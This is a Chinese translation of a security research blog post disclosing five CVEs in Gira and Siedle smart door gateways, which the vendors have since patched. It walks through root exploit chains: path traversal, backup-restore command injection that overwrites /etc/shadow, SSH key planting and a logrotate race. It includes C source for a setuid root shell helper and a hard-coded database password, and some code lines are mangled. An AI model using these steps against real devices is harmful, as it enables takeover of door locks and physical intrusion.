导语：我们研究了网关系统，这些系统增加了门铃解决方案，使用户可以通过网络（甚至Internet）对其进行控制。对于其中两个分别由Siedle和Gira制造的产品，我们找到了开源的固件文件并开始进行漏洞挖掘。
对于许多攻击类型，需要物理访问计算机，例如插入“ Rubber Ducky”或插入物理键盘记录程序。由于通常限制对服务器和计算机的访问，因此通常通过“当攻击者已经进入房间时，无论如何我们都会被攻击”的角度来处理这些威胁向量。但是，如果相反的话怎么办？如果服务器，计算机和软件取决于物理安全性，但是物理安全性取决于计算机的安全性呢？对于所有不同类型的智能门锁，情况就是如此。我们研究了网关系统，这些系统增加了门铃解决方案，使用户可以通过网络（甚至Internet）对其进行控制。对于其中两个分别由Siedle和Gira制造的产品，我们找到了开源的固件文件并开始进行漏洞挖掘。
0x01 漏洞描述
我们在HITBAMS20的会议上进行了分享，并且我们打算将硬件带到现场演示。但是，由于Corona / COVID-19 疫情会议被取消了，我们仍然在线上会议上进行了演示。
https://www.youtube-nocookie.com/embed/krFHJx08dMo?start=18140
此外，我们将在此博客文章中详细介绍漏洞利用链和技术细节。稍后，我们录制的演示和演讲将在此处提供。
我们能够在两个设备及其各自的管理Web GUI上获得root用户访问权限。这使我们能够将受害者锁定在外面，并获得我们希望连接到受感染设备的物理访问权限。有关我们的利用链的更详细的技术说明，可以在后续文章中找到。
MITER总共向我们分配了五个CVE编号：
· CVE-2020-10794： Gira TKS-IP-Gateway 4.0.7.7容易受到未经身份验证的路径遍历的攻击，从而使攻击者可以下载应用程序数据库。可以将其与CVE-2020-10795结合使用以进行远程root访问。
· CVE-2020-10795： Gira TKS-IP-Gateway 4.0.7.7易于通过Web前端的备份功能执行经过身份验证的远程代码执行。可以将其与CVE-2020-10794结合使用以进行远程root访问。
· CVE-2020-9473：1.2.4之前的S.Siedle＆Soehne SG 150-0智能网关具有无密码ftp ssh用户。通过使用漏洞利用链，可以访问网络的攻击者可以在网关上获得root访问权限。
· CVE-2020-9474：1.2.4之前的S.Siedle＆Soehne SG 150-0智能网关允许通过Web前端中的备份功能远程执行代码。通过使用漏洞利用链，可以访问网络的攻击者可以在网关上获得root访问权限。
· CVE-2020-9475：1.2.4之前的S.Siedle＆Soehne SG 150-0智能网关允许通过logrotate中的竞争条件提升本地特权。通过使用漏洞利用链，可以访问网络的攻击者可以在网关上获得root访问权限。
我们联系了两家供应商，并告知他们我们的发现。到现在为止，我们发现的所有漏洞都不再对最新版本系统有效。Siedle甚至为我们提供了预发布的测试固件映像，因此我们可以检查所有漏洞是否在更新发布之前已修复。总体而言，我们对两家供应商的回应感到非常满意，因为这清楚地表明他们意识到了调查结果的重要性。两家供应商都立即按照自己的设置对其进行了验证，并专业地解决了这些问题。
0x02 Gira漏洞利用链
Gira TKS-IP-Gateway的主板
CVE-2020-10794：Gira TKS-IP-网关4.0.7.7中未经身份验证的路径遍历
当我们开始研究Gira TKS IP网关时，我们在Web界面中发现了路径遍历漏洞。使用此/app/db/gira.db文件，我们下载了文件。在此文件中，管理员密码为md5-hash，如果密码不是特别强的话，哈希很容易被破解。此外，我们下载了相同的/app/sdintern/messages文件。如果有人最近登录了该计算机，该文件将以纯文本格式生成密码。使用获得的凭据，我们能够登录到Web前端并重新配置设备或打开与该设备连接的后门。
CVE-2020-10795：Gira TKS-IP-网关4.0.7.7中身份验证的远程代码执行
现在我们已经在Web界面上获得了管理员特权，我们备份了gira.db。该备份是TAR文件，我们可以对其进行解压缩和修改：
sqlite3 backup/gira-V0101.db "UPDATE networksettings SET Name = 'tks-ip-gw/g -f /app/sdintern/segheg -i /etc/shadow -e s/foo/bar'"
上面的代码将sed命令放入数据库中。在sedheg我们修改的tar文件将取代密码哈希root和D3.IPGWvG，如下所示：
#!/bin/sh s/D3.IPGWvG!:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7\//D3.IPGWvG!:$1$eV3NNo\/h$beH8VTIROWlVZKcrHvhu70/ s/root:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7\//root:$1$eV3NNo\/h$beH8VTIROWlVZKcrHvhu70/
两个用户要么都是root用户，要么可能已经成为sudo的root用户。准备好之后，我们再次打包修改后的文件。然后，我们通过还原功能将备份上传到Web界面。这触发了我们伪造的新网络设置（标记为“ ==>”），该设置是从修改后的sqlite数据库读取的。
[...]
NETWORK=`/opt/lin/bin/sqlite3 /var/db/gira.db "select Id, Name, Nameserver, Dhcp, Gateway, Ip, Netmask from networksettings;"`
[...]
==> HNAME=`echo $NETWORK | /usr/bin/awk -F"|" '{print $2}'`;
NS=`echo $NETWORK | /usr/bin/awk -F"|" '{print $3}'`;
BOOTMODE=`echo $NETWORK | /usr/bin/awk -F"|" '{print $4}'`;
GW=`echo $NETWORK | /usr/bin/awk -F"|" '{print $5}'`;
IPADDR=`echo $NETWORK | /usr/bin/awk -F"|" '{print $6}'`;
NETMASK=`echo $NETWORK | /usr/bin/awk -F"|" '{print $7}'`;然后，在的sed命令中使用了“ $ HNAME”变量/app/bin/network.sh。
echo "0" > /tmp/dhcp echo "nameserver 192.168.0.1" > /etc/resolv.conf echo -en "HOSTNAME: $HNAME" echo -en "" echo "$HNAME" > /etc/hostname ==> sed 's/'@NAME@'/'$HNAME'/g' /usr/local/etc/avahi/avahi-daemon.conf-tmpl > /usr/local/etc/avahi/avahi-daemon.conf
这样，我们将root密码更改为我们已知的密码。最后一步是登录到机器，为此我们需要dropbear ssh软件包。它是备用的ssh服务器，但是设备上存在的版本太旧，无法与现代的openssh客户端兼容。使用dbclient -p
https://player.vimeo.com/video/410960486
0x03 Siedle漏洞利用链
S. Siedle＆SöhneSG 150-0智能网关
CVE-2020-9473：1.2.4之前的S.Siedle＆Soehne SG 150-0 Smart Gateway中空无密码FTP用户
对于Siedle SG-150，我们进入系统的入口是为ftp用户设置密码。这是可能的，因为固件不包含该用户的任何密码。通过ssh设置密码后，我们ssh -v -N ftp@
我们在公共固件中的一些shell脚本和配置文件中找到了该数据库的静态root密码“ siedle”。使用密码和转发的端口，我们可以使用命令以管理特权访问数据库mysql -h 127.0.0.1 -u root -P 1337 -psiedle。
该数据库具有不同的目的，一个目的是存储用于Web应用程序管理设备的凭据。通过对数据库具有root用户访问权限，我们可以为Web应用程序添加具有管理员特权的另一个用户。现在，我们可以控制和重新配置连接到网关的每个设备，这使我们能够进行连接。
CVE-2020-9474：1.2.4之前的S.Siedle＆Soehne SG 150-0 Smart Gateway中的经过身份验证的远程代码执行
这将使我们获得Shell访问权限。从Web应用程序，我们能够下载配置备份config.bak文件。这是一个squashfs，一旦解压缩，其中包含一个backup.sql文件。我们生成了一个ssh密钥，并将以下四行添加到backup.sql文件的顶部：
\! mkdir /var/lib/mysql/.ssh \! echo >> /var/lib/sql/.ssh/authorized_keys \! chmod 0700 /var/lib/mysql/.ssh \! chmod 0600 /var/lib/mysql/.ssh/authorized_keys
然后，我们重建了squashfs并将其作为备份上传到Web应用程序，该文件用于还原过程。等待几分钟的恢复过程完成后，我们便以SSH用户的私钥通过ssh访问了该设备，因为运行了受操纵文件中的所有命令，~/.ssh/authorized_keys并创建了mysql用户的文件。
CVE-2020-9475：版本1.2.4之前的S.Siedle＆Soehne SG 150-0 Smart Gateway中的本地特权升级
为了提升特权，我们在logrotate脚本中使用了错误的配置。此外，我们编写了三个小程序，即bind，symlink和root。源代码将在本文的附录中。由于已经具有shell程序访问权限，因此我们对ARM程序进行了交叉编译，并将其复制到设备中。 我们想触发MySQL logrotate脚本的以下部分：
MYADMIN="/usr/bin/mysqladmin --user=root --password=$MYSQL_ROOT_PW" $MYADMIN ping &> /dev/null if [ $? -eq 0 ]; then $MYADMIN flush-logs else # manually move it, to mimic above behaviour mv -f /var/log/mysql/mysql.log /var/log/mysql/mysql.log-old # recreate mysql.log, else logrotate would miss it touch /var/log/mysql/mysql.log chown mysql.mysql /var/log/mysql/mysql.log chmod 0664 /var/log/mysql/mysql.log fi
要触发这部分代码，我们需要确保mysqladmin ping返回的状态码不是零。如果mysql服务器未运行，则只有这种情况。更改凭据甚至删除整个数据库都无济于事，因为mysqladmin仍会返回零，我们需要数据库不可用。但是由于如果你关闭它，它只会重新启动，所以我们需要将其挂载出来。这是第一个利用程序进入的地方：bind。我们使用它来将自身绑定到mysql数据库正在使用的静态端口：
while true; do ./bind 63601; sleep 1; done
在第二个终端中，我们关闭数据库，然后在启动时尝试将自身绑定到其端口时将挂起。因为mysql会在关机和启动之间释放端口，所以我们可以在它们之间进行竞争并使用我们的程序阻止该端口。这种方式mysqladmin返回了一个，我们必须执行else条件。
然后，我们需要第二个程序：symlink。现在的目标是在其中创建一个/etc/logrotate.d/我们可以控制和写入的文件，因为logrotate将以root用户身份执行该目录中的所有脚本。为了达到目的执行logrotate脚本，用于清理MySQL的日志文件，并设法从/var/log/mysql/mysql.log创建符号链接到之间mv和touch的/etc/logrotate.d/rootme。Rootme当时不存在，但这并不重要。按照符号链接，logrotate /etc/logrotate.d/rootme以root身份创建文件，然后将chown其提供给mysql用户。为了阻止mysql写入我们准备的文件，我们删除了symlink并/var/log/mysql/mysql.log为其创建了一个新文件。之后，我们将/etc/logrotate.de/rootme用以下内容填充：
/var/log/mysql/rootme.log {
delaycompress
nosharedscripts
copy
firstaction
chown root:root /tmp/root
chmod +s /tmp/root
mv -f /var/log/mysql/rootme.log /var/log/mysql/rootme.log-old
touch /var/log/mysql/rootme.log
chown mysql.mysql /var/log/mysql/rootme.log
chmod 0664 /var/log/mysql/rootme.log
fi
endscript
lastaction
mv -f /var/log/mysql/rootme.log-old /var/log/mysql/rootme.log.1
endscript
}程序/tmp/root是我们的第三个程序和suidrootshell。完成所有操作后，我们必须填充/var/log/mysql/rootme.log并再次触发logrotate。现在，我们的suid二进制文件具有root特权，可以通过以下方式使用：/tmp/root passwd root。现在，我们可以更改root用户的密码，从现在起就可以完全控制系统了。
https://player.vimeo.com/video/410961877
0x04 代码片段
bind.c
#include #include #include #include #include
#include #include
void error(const char *msg) {
perror(msg);
exit(1);
}
int main(int argc, char **argv) {
int sockfd, newsockfd, portno, pid;
socklen_t clilen;
struct sockaddr_in serv_addr, cli_addr;
if (argc < 2) {
fprintf(stderr,"ERROR, no port provided\n");
exit(1);
}
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
error("ERROR opening socket");
bzero((char *) &serv_addr, sizeof(serv_addr));
portno = atoi(argv[1]);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
error("ERROR on binding");
listen(sockfd,5);
accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
return 0;
}symlink.c
#include
int main(int argc, char **argv) {
int ret;
char *watchPath = argv[1];
char *linkPath = argv[2];
while(1) {
ret = symlink(linkPath, watchPath);
if (ret == 0)
return 0;
}
return 0;
}root.c
#include #include #include #include #include
char *join_command(char **commands) {
char *res = (char *)malloc(strlen(commands[0]));
strncpy(res, commands[0], strlen(commands[0]));
for (char **command = ++commands; *command != NULL; command++) {
res = (char *)realloc(res, strlen(res) + strlen(*command) + 2);
strcat(res, " ");
strcat(res, *command);
}
return res;
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage: ./root ");
}
setuid(0);
setgid(0);
system(join_command(++argv));
return 0;
}
本文翻译自：https://research.hisolutions.com/2020/04/open-the-gates-insecurity-of-cloudless-smart-door-systems/如若转载，请注明原文地址
如有侵权请联系:admin#unsafe.sh